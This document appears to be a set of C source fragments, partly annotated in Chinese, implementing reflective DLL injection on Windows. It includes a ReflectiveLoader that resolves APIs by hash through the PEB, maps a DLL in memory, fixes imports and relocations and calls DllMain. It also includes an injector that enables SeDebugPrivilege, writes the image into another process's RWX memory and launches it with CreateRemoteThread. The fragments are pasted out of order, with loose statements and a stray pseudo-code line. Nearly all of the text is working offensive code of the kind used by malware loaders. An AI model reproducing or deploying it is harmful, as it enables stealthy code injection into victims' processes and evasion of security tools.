__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }

// STEP 0: calculate our images current base address

// we will start searching backwards from our callers return address.

uiLibraryAddress = caller();

// loop through memory backwards searching for our images base address

// we dont need SEH style search as we shouldnt generate any access violations with this

while( TRUE )

{

	if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )

	{

		uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

		// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),

		// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.

        //一些 x64的 dll 可以触发一个伪造的签名(IMAGE _ dos _ signature = ‘ POP r10’) ,

	    //我们对 e _ lfanew 进行健全性检查，上限值为1024，以避免出现问题

		if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )

		{

			uiHeaderValue += uiLibraryAddress;

			// break if we have found a valid MZ/PE header

			if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )

				break;

		}

	}

	uiLibraryAddress--;

}

LOADLIBRARYA pLoadLibraryA     = NULL;

GETPROCADDRESS pGetProcAddress = NULL;

VIRTUALALLOC pVirtualAlloc     = NULL;

NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;

// struct _PEB is defined in Winternl.h but it is incomplete

// WinDbg> dt -v ntdll!_PEB

typedef struct __PEB // 65 elements, 0x210 bytes

{

   BYTE bInheritedAddressSpace;

   BYTE bReadImageFileExecOptions;

   BYTE bBeingDebugged;

   BYTE bSpareBool;

   LPVOID lpMutant;

   LPVOID lpImageBaseAddress;

   PPEB_LDR_DATA pLdr;

   LPVOID lpProcessParameters;

   LPVOID lpSubSystemData;

   LPVOID lpProcessHeap;

   PRTL_CRITICAL_SECTION pFastPebLock;

   LPVOID lpFastPebLockRoutine;

   LPVOID lpFastPebUnlockRoutine;

   DWORD dwEnvironmentUpdateCount;

   LPVOID lpKernelCallbackTable;

   DWORD dwSystemReserved;

   DWORD dwAtlThunkSListPtr32;

   PPEB_FREE_BLOCK pFreeList;

   DWORD dwTlsExpansionCounter;

   LPVOID lpTlsBitmap;

   DWORD dwTlsBitmapBits[2];

   LPVOID lpReadOnlySharedMemoryBase;

   LPVOID lpReadOnlySharedMemoryHeap;

   LPVOID lpReadOnlyStaticServerData;

   LPVOID lpAnsiCodePageData;

   LPVOID lpOemCodePageData;

   LPVOID lpUnicodeCaseTableData;

   DWORD dwNumberOfProcessors;

   DWORD dwNtGlobalFlag;

   LARGE_INTEGER liCriticalSectionTimeout;

   DWORD dwHeapSegmentReserve;

   DWORD dwHeapSegmentCommit;

   DWORD dwHeapDeCommitTotalFreeThreshold;

   DWORD dwHeapDeCommitFreeBlockThreshold;

   DWORD dwNumberOfHeaps;

   DWORD dwMaximumNumberOfHeaps;

   LPVOID lpProcessHeaps;

   LPVOID lpGdiSharedHandleTable;

   LPVOID lpProcessStarterHelper;

   DWORD dwGdiDCAttributeList;

   LPVOID lpLoaderLock;

   DWORD dwOSMajorVersion;

   DWORD dwOSMinorVersion;

   WORD wOSBuildNumber;

   WORD wOSCSDVersion;

   DWORD dwOSPlatformId;

   DWORD dwImageSubsystem;

   DWORD dwImageSubsystemMajorVersion;

   DWORD dwImageSubsystemMinorVersion;

   DWORD dwImageProcessAffinityMask;

   DWORD dwGdiHandleBuffer[34];

   LPVOID lpPostProcessInitRoutine;

   LPVOID lpTlsExpansionBitmap;

   DWORD dwTlsExpansionBitmapBits[32];

   DWORD dwSessionId;

   ULARGE_INTEGER liAppCompatFlags;

   ULARGE_INTEGER liAppCompatFlagsUser;

   LPVOID lppShimData;

   LPVOID lpAppCompatInfo;

   UNICODE_STR usCSDVersion;

   LPVOID lpActivationContextData;

   LPVOID lpProcessAssemblyStorageMap;

   LPVOID lpSystemDefaultActivationContextData;

   LPVOID lpSystemAssemblyStorageMap;

   DWORD dwMinimumStackCommit;

} _PEB, * _PPEB;

// WinDbg> dt -v ntdll!_PEB_LDR_DATA

typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes

{

   DWORD dwLength;

   DWORD dwInitialized;

   LPVOID lpSsHandle;

   LIST_ENTRY InLoadOrderModuleList;

   LIST_ENTRY InMemoryOrderModuleList;

   LIST_ENTRY InInitializationOrderModuleList;

   LPVOID lpEntryInProgress;

} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _LIST_ENTRY {

   struct _LIST_ENTRY *Flink;

   struct _LIST_ENTRY *Blink;

} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY

//__declspec( align(8) ) 

typedef struct _LDR_DATA_TABLE_ENTRY

{

	//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.

	LIST_ENTRY InMemoryOrderModuleList;

	LIST_ENTRY InInitializationOrderModuleList;

	PVOID DllBase;

	PVOID EntryPoint;

	ULONG SizeOfImage;

	UNICODE_STR FullDllName;

	UNICODE_STR BaseDllName;

	ULONG Flags;

	SHORT LoadCount;

	SHORT TlsIndex;

	LIST_ENTRY HashTableEntry;

	ULONG TimeDateStamp;

} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

// STEP 1: process the kernels exports for the functions our loader needs...

// get the Process Enviroment Block

#ifdef WIN_X64

	uiBaseAddress = __readgsqword( 0x60 );

#else

#ifdef WIN_X86

	uiBaseAddress = __readfsdword( 0x30 );

#else WIN_ARM

	uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );

#endif

#endif

	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx

	uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

	// get the first entry of the InMemoryOrder module list

	uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;

	while( uiValueA )

	{

		// get pointer to current modules name (unicode string)

		uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;

		// set bCounter to the length for the loop

		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;

		// clear uiValueC which will store the hash of the module name

		uiValueC = 0;

		// compute the hash of the module name...

		do

		{

			uiValueC = ror( (DWORD)uiValueC );

			// normalize to uppercase if the madule name is in lowercase

			if( *((BYTE *)uiValueB) >= 'a' )

				uiValueC += *((BYTE *)uiValueB) - 0x20;

			else

				uiValueC += *((BYTE *)uiValueB);

			uiValueB++;

		} while( --usCounter );

		// compare the hash with that of kernel32.dll

		if( (DWORD)uiValueC == KERNEL32DLL_HASH )

		{

			// get this modules base address

			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header

			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry

			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			// get the VA of the export directory

			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			// get the VA for the array of name pointers

			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

			// get the VA for the array of name ordinals

			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

			usCounter = 3;

			// loop while we still have imports to find

			while( usCounter > 0 )

			{

				// compute the hash values for this function name

				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );

				// if we have found a function we want we get its virtual address

				if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )

				{

					// get the VA for the array of addresses

					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

					// use this functions name ordinal as an index into the array of name pointers

					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

					// store this functions VA

					if( dwHashValue == LOADLIBRARYA_HASH )

						pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );

					else if( dwHashValue == GETPROCADDRESS_HASH )

						pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );

					else if( dwHashValue == VIRTUALALLOC_HASH )

						pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );

					// decrement our counter

					usCounter--;

				}

				// get the next exported function name

				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal

				uiNameOrdinals += sizeof(WORD);

			}

		}

		else if( (DWORD)uiValueC == NTDLLDLL_HASH )

		{

			// get this modules base address

			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header

			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry

			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			// get the VA of the export directory

			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			// get the VA for the array of name pointers

			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

			// get the VA for the array of name ordinals

			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

			usCounter = 1;

			// loop while we still have imports to find

			while( usCounter > 0 )

			{

				// compute the hash values for this function name

				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );

				// if we have found a function we want we get its virtual address

				if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )

				{

					// get the VA for the array of addresses

					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

					// use this functions name ordinal as an index into the array of name pointers

					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

					// store this functions VA

					if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )

						pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

					// decrement our counter

					usCounter--;

				}

				// get the next exported function name

				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal

				uiNameOrdinals += sizeof(WORD);

			}

		}

		// we stop searching when we have found everything we need.

		if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )

			break;

		// get the next entry

		uiValueA = DEREF( uiValueA );

	}

uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

  // STEP 3: load in all of our sections and header...

  // we must now copy over the headers

uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;

uiValueB = uiLibraryAddress;

uiValueC = uiBaseAddress;

while( uiValueA-- )

	*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

// uiValueA = the VA of the first section

uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

// itterate through all sections, loading them into memory.

uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;

while( uiValueE-- )

{

	// uiValueB is the VA for this section

	uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

	// uiValueC if the VA for this sections data

	uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

	// copy the section over

	uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

	while( uiValueD-- )

		*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

	// get the VA of the next section

	uiValueA += sizeof( IMAGE_SECTION_HEADER );

}

// STEP 4: process our images import table...

// uiValueB = the address of the import directory

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];

// we assume their is an import table to process

// uiValueC is the first entry in the import table

uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

// itterate through all imports

while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )

{

	// use LoadLibraryA to load the imported module into memory

	uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

	// uiValueD = VA of the OriginalFirstThunk

	uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

	// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)

	uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

	// itterate through all imported functions, importing by ordinal if no name present

	while( DEREF(uiValueA) )

	{

		// sanity check uiValueD as some compilers only import by FirstThunk

		if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )

		{

			// get the VA of the modules NT Header

			uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry

			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			// get the VA of the export directory

			uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			// get the VA for the array of addresses

			uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

			// use the import ordinal (- export ordinal base) as an index into the array of addresses

			uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

			// patch in the address for this imported function

			DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );

		}

		else

		{

			// get the VA of this functions import by name struct

			uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

			// use GetProcAddress and patch in the address for this imported function

			DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );

		}

		// get the next imported function

		uiValueA += sizeof( ULONG_PTR );

		if( uiValueD )

			uiValueD += sizeof( ULONG_PTR );

	}

	// get the next import

	uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );

}

typedef struct _IMAGE_BASE_RELOCATION {

    DWORD   VirtualAddress;

    DWORD   SizeOfBlock;

//  WORD    TypeOffset[1];

} IMAGE_BASE_RELOCATION;

typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

*(DWORD*)(VirtualAddress + Typeoffset的低12位) += （实际DLL加载地址 – 推荐DLL加载地址）

   // STEP 5: process all of our images relocations...

// calculate the base address delta and perform relocations (even if we load at desired image base)

uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

// uiValueB = the address of the relocation directory

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

// check if their are any relocations present

if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )

{

	// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)

	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

	// and we itterate through all entries...

	while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )

	{

		// uiValueA = the VA for this relocation block

		uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

		// uiValueB = number of entries in this relocation block

		uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

		// uiValueD is now the first entry in the current relocation block

		uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

		// we itterate through all the entries in the current block...

		while( uiValueB-- )

		{

			// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.

			// we dont use a switch statement to avoid the compiler building a jump table

			// which would not be very position independent!

			if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )

				*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;

			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )

				*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;

			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )

				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);

			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )

				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

			// get the next entry in the current relocation block

			uiValueD += sizeof( IMAGE_RELOC );

		}

		// get the next entry in the relocation directory

		uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;

	}

}

	// STEP 6: call our images entry point

	// uiValueA = the VA of our newly loaded DLL/EXE's entry point

	uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

	// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.

	pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

	// call our respective entry point, fudging our hInstance value

#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR

	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)

	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );

#else

	// if we are injecting an DLL via a stub we call DllMain with no parameter

	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );

#endif

	// STEP 7: return our new entry point address so whatever called us can call DllMain() if needed.

	return uiValueA;

hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );

dwLength = GetFileSize( hFile, NULL );

lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );

if( !lpBuffer )

    BREAK_WITH_ERROR( "Failed to get the DLL file size" );

if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )

	BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )

{

	priv.PrivilegeCount           = 1;

	priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )

		AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

	CloseHandle( hToken );

}

hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );

hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );

dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );

lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )

				break;

// add the offset to ReflectiveLoader() to the remote library address...

lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );

// create a remote thread in the host process to call the ReflectiveLoader!

hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );

HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )

{

	BOOL bSuccess                             = FALSE;

	LPVOID lpRemoteLibraryBuffer              = NULL;

	LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;

	HANDLE hThread                            = NULL;

	DWORD dwReflectiveLoaderOffset            = 0;

	DWORD dwThreadId                          = 0;

	__try

	{

		do

		{

			if( !hProcess  || !lpBuffer || !dwLength )

				break;

			// check if the library has a ReflectiveLoader...

			dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );

			if( !dwReflectiveLoaderOffset )

				break;

			// alloc memory (RWX) in the host process for the image...

			lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 

			if( !lpRemoteLibraryBuffer )

				break;

			// write the image into the host process...

			if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )

				break;

			// add the offset to ReflectiveLoader() to the remote library address...

			lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );

			// create a remote thread in the host process to call the ReflectiveLoader!

			hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );

		} while( 0 );

	}

	__except( EXCEPTION_EXECUTE_HANDLER )

	{

		hThread = NULL;

	}

	return hThread;

}

DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )

{

	UINT_PTR uiBaseAddress   = 0;

	UINT_PTR uiExportDir     = 0;

	UINT_PTR uiNameArray     = 0;

	UINT_PTR uiAddressArray  = 0;

	UINT_PTR uiNameOrdinals  = 0;

	DWORD dwCounter          = 0;

#ifdef WIN_X64

	DWORD dwCompiledArch = 2;

#else

	// This will catch Win32 and WinRT.

	DWORD dwCompiledArch = 1;

#endif

	uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

	// get the File Offset of the modules NT Header

	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

	// currenlty we can only process a PE file which is the same type as the one this fuction has  

	// been compiled as, due to various offset in the PE structures being defined at compile time.

	if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32

	{

		if( dwCompiledArch != 1 )

			return 0;

	}

	else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64

	{

		if( dwCompiledArch != 2 )

			return 0;

	}

	else

	{

		return 0;

	}

	// uiNameArray = the address of the modules export directory entry

	uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

	// get the File Offset of the export directory

	uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );

	// get the File Offset for the array of name pointers

	uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );

	// get the File Offset for the array of addresses

	uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );

	// get the File Offset for the array of name ordinals

	uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );	

	// get a counter for the number of exported functions...

	dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;

	// loop through all the exported functions to find the ReflectiveLoader

	while( dwCounter-- )

	{

		char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));

		if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )

		{

			// get the File Offset for the array of addresses

			uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );	

			// use the functions name ordinal as an index into the array of name pointers

			uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

			// return the File Offset to the ReflectiveLoader() functions code...

			return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );

		}

		// get the next exported function name

		uiNameArray += sizeof(DWORD);

		// get the next exported function name ordinal

		uiNameOrdinals += sizeof(WORD);

	}

	return 0;

}